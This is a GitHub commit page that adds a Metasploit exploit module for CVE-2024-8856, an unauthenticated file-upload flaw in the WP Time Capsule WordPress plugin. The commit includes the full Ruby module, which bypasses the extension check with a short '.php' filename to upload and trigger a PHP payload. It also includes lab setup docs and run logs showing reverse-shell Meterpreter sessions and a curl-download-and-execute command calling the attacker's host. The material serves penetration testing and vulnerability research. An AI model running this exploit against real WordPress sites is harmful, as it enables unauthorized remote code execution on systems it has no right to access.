Skip to content

Commit afd3d0b

Browse files
authored
Land rapid7#19713, Add exploit module for WP Time Capsule RCE
This exploits a Remote Code Execution (RCE) vulnerability identified as CVE-2024-8856 in the WordPress WP Time Capsule plugin (versions ≤ 1.22.21). This vulnerability allows unauthenticated attackers to upload and execute arbitrary files due to improper validation within the plugin.
2 parents 6ed734e + add7c7b commit afd3d0b

File tree

3 files changed

+302
-1
lines changed

3 files changed

+302
-1
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,4 +67,5 @@ ultimate-member
6767
wp-fastest-cache
6868
post-smtp
6969
really-simple-ssl
70-
perfect-survey
70+
perfect-survey
71+
wp-time-capsule
Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a Remote Code Execution vulnerability in the WordPress WP Time Capsule plugin, versions <= 1.22.21.
4+
The vulnerability arises from an unauthenticated arbitrary file upload flaw due to improper validation logic in the plugin.
5+
6+
To replicate a vulnerable environment for testing:
7+
8+
1. Install WordPress using the provided Docker Compose configuration.
9+
2. Download and install the [WP Time Capsule plugin v1.22.21](https://downloads.wordpress.org/plugin/wp-time-capsule.1.22.21.zip).
10+
3. Verify that the plugin is activated and accessible on the local network.
11+
4. Register for a WP Time Capsule account and connect the plugin to an external storage system (e.g., Google Drive, Dropbox).
12+
5. Access `wp-admin/admin.php?page=wp-time-capsule-settings#wp-time-capsule-tab-advanced` to enable the **file upload functionality**
13+
by clicking **"Click here to show upload options"**.
14+
This action triggers the `prepare_file_upload_index_file_wptc` function, which creates the required `index.php` file
15+
in the `/wp-tcapsule-bridge/upload/php/` directory, making the issue exploitable.
16+
17+
## Docker Compose Configuration
18+
19+
```yaml
20+
version: '3.1'
21+
22+
services:
23+
wordpress:
24+
image: wordpress:6.3.2
25+
restart: always
26+
ports:
27+
- 5555:80
28+
environment:
29+
WORDPRESS_DB_HOST: db
30+
WORDPRESS_DB_USER: root
31+
WORDPRESS_DB_PASSWORD: dummy_password
32+
WORDPRESS_DB_NAME: exploit_market
33+
mem_limit: 8G
34+
volumes:
35+
- wordpress:/var/www/html
36+
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
37+
38+
db:
39+
image: mysql:5.7
40+
restart: always
41+
environment:
42+
MYSQL_DATABASE: exploit_market
43+
MYSQL_USER: root
44+
MYSQL_PASSWORD: dummy_password
45+
MYSQL_RANDOM_ROOT_PASSWORD: '1'
46+
volumes:
47+
- db:/var/lib/mysql
48+
49+
volumes:
50+
wordpress:
51+
db:
52+
```
53+
54+
Create a `custom.ini` file with the following content:
55+
56+
```ini
57+
upload_max_filesize = 64M
58+
post_max_size = 64M
59+
```
60+
61+
## Verification Steps
62+
63+
1. Set up a WordPress instance with the WP Time Capsule plugin (version 1.22.21) using the provided `docker-compose.yml`.
64+
2. Launch `msfconsole` in your Metasploit framework.
65+
3. Use the module: `use exploit/multi/http/wp_time_capsule_file_upload_rce`.
66+
4. Set `RHOSTS` to the IP address or hostname of the target.
67+
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
68+
6. Execute the exploit using the `run` or `exploit` command.
69+
7. If the target is vulnerable, the module will execute the specified payload and return a session.
70+
71+
## Options
72+
73+
No additional options are required beyond the default ones provided in Metasploit.
74+
75+
## Scenarios
76+
77+
### Successful Exploitation Against WordPress with WP Time Capsule 1.22.21
78+
79+
**Setup**:
80+
81+
- Local WordPress instance with WP Time Capsule version 1.22.21.
82+
- Metasploit Framework.
83+
84+
**Steps**:
85+
86+
1. Start `msfconsole`.
87+
2. Load the module:
88+
```bash
89+
use exploit/multi/http/wp_time_capsule_file_upload_rce
90+
```
91+
3. Set `RHOSTS` to the target's IP (e.g., `172.18.0.3`).
92+
4. Configure other necessary options (e.g., `TARGETURI`).
93+
5. Launch the exploit:
94+
```bash
95+
exploit
96+
```
97+
98+
**Expected Results**:
99+
100+
With `php/meterpreter/reverse_tcp`:
101+
102+
```plaintext
103+
msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3
104+
105+
[*] Started reverse TCP handler on 192.168.1.36:4444
106+
[*] Running automatic check ("set AutoCheck false" to disable)
107+
[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt
108+
[*] Found version 1.22.21 in the plugin
109+
[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable.
110+
[*] Uploading payload: rJ.php with MIME type: message/http...
111+
[+] Payload uploaded successfully. Parsing response...
112+
[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/rJ.php
113+
[*] Sending stage (40004 bytes) to 172.18.0.3
114+
[+] Deleted rJ.php
115+
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:42434) at 2024-12-11 00:48:18 +0100
116+
117+
meterpreter > sysinfo
118+
Computer : 0bd3f3b7102e
119+
OS : Linux 0bd3f3b7102e 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
120+
Meterpreter : php/linux
121+
```
122+
123+
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
124+
125+
```plaintext
126+
msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3
127+
128+
[*] Command to run on remote host: curl -so ./EHsooyPGi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./EHsooyPGi; ./EHsooyPGi &
129+
[*] Fetch handler listening on 192.168.1.36:8080
130+
[*] HTTP server started
131+
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
132+
[*] Started reverse TCP handler on 192.168.1.36:4444
133+
[*] Running automatic check ("set AutoCheck false" to disable)
134+
[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt
135+
[*] Found version 1.22.21 in the plugin
136+
[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable.
137+
[*] Uploading payload: Ps.php with MIME type: application/zip...
138+
[+] Payload uploaded successfully. Parsing response...
139+
[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/Ps.php
140+
[*] Client 172.18.0.3 requested /LoPlnjEpeOexZNVppn6cAA
141+
[*] Sending payload to 172.18.0.3 (curl/7.74.0)
142+
[*] Transmitting intermediate stager...(126 bytes)
143+
[*] Sending stage (3045380 bytes) to 172.18.0.3
144+
[+] Deleted Ps.php
145+
[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50396) at 2024-12-11 01:06:52 +0100
146+
147+
meterpreter > sysinfo
148+
Computer : 172.18.0.3
149+
OS : Debian 11.8 (Linux 5.15.0-126-generic)
150+
Architecture : x64
151+
BuildTuple : x86_64-linux-musl
152+
Meterpreter : x64/linux
153+
```
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Payload::Php
10+
include Msf::Exploit::FileDropper
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::HTTP::Wordpress
13+
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE',
21+
'Description' => %q{
22+
This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin
23+
(versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote
24+
code execution (RCE).
25+
26+
The validation logic in the vulnerable function improperly checks for allowed extensions.
27+
If no valid extension is found, the check can be bypassed by using a filename of specific length
28+
(e.g., "00.php") matching the length of allowed extensions like ".crypt".
29+
},
30+
'Author' => [
31+
'Valentin Lobstein', # Metasploit module
32+
'Rein Daelman' # Vulnerability discovery
33+
],
34+
'References' => [
35+
['CVE', '2024-8856'],
36+
['URL', 'https://hacked.be/posts/CVE-2024-8856'],
37+
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload']
38+
],
39+
'License' => MSF_LICENSE,
40+
'Privileged' => false,
41+
'Platform' => %w[php unix linux win],
42+
'Arch' => [ARCH_PHP, ARCH_CMD],
43+
'Targets' => [
44+
[
45+
'PHP In-Memory', {
46+
'Platform' => 'php',
47+
'Arch' => ARCH_PHP
48+
# tested with php/meterpreter/reverse_tcp
49+
}
50+
],
51+
[
52+
'Unix/Linux Command Shell', {
53+
'Platform' => %w[unix linux],
54+
'Arch' => ARCH_CMD
55+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
56+
}
57+
],
58+
[
59+
'Windows Command Shell', {
60+
'Platform' => 'win',
61+
'Arch' => ARCH_CMD
62+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
63+
}
64+
]
65+
],
66+
'DefaultTarget' => 0,
67+
'DisclosureDate' => '2024-11-15',
68+
'Notes' => {
69+
'Stability' => [CRASH_SAFE],
70+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
71+
'Reliability' => [REPEATABLE_SESSION]
72+
}
73+
)
74+
)
75+
end
76+
77+
def php_exec_cmd(encoded_payload)
78+
dis = '$' + Rex::RandomIdentifier::Generator.new.generate
79+
b64_encoded_payload = Rex::Text.encode_base64(encoded_payload)
80+
shell = <<-END_OF_PHP_CODE
81+
#{php_preamble(disabled_varname: dis)}
82+
$cmd = base64_decode("#{b64_encoded_payload}");
83+
#{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)}
84+
END_OF_PHP_CODE
85+
86+
return Rex::Text.compress(shell)
87+
end
88+
89+
def check
90+
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?
91+
92+
plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22')
93+
case plugin_check.code
94+
when 'appears'
95+
return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.')
96+
when 'safe'
97+
return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.')
98+
end
99+
100+
CheckCode::Unknown('No vulnerable plugins were detected.')
101+
end
102+
103+
def exploit
104+
base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php')
105+
upload_path = normalize_uri(base_path, 'index.php')
106+
107+
# Generate random filename matching constraints (6 characters total, ending in .php)
108+
filename_prefix = Rex::Text.rand_text_alphanumeric(2)
109+
payload_name = "#{filename_prefix}.php"
110+
111+
random_mime_type = Faker::File.mime_type
112+
113+
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
114+
b64_payload = '<?php ' + framework.encoders.create('php/base64').encode(phped_payload)
115+
116+
register_files_for_cleanup(payload_name)
117+
118+
vprint_status("Uploading payload: #{payload_name} with MIME type: #{random_mime_type}...")
119+
120+
mime = Rex::MIME::Message.new
121+
mime.add_part(b64_payload, random_mime_type, nil, "form-data; name=files; filename=#{payload_name}")
122+
123+
res = send_request_cgi(
124+
'method' => 'POST',
125+
'uri' => upload_path,
126+
'ctype' => 'multipart/form-data; boundary=' + mime.bound,
127+
'data' => mime.to_s
128+
)
129+
130+
unless res&.code == 200
131+
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload')
132+
end
133+
134+
vprint_good('Payload uploaded successfully. Parsing response...')
135+
136+
json_response = res.get_json_document
137+
url = json_response.dig('files', 0, 'url')
138+
139+
fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil?
140+
141+
vprint_status("Triggering the payload at: #{url}")
142+
send_request_cgi(
143+
'method' => 'GET',
144+
'uri' => URI(url).path
145+
)
146+
end
147+
end

0 commit comments

Comments
 (0)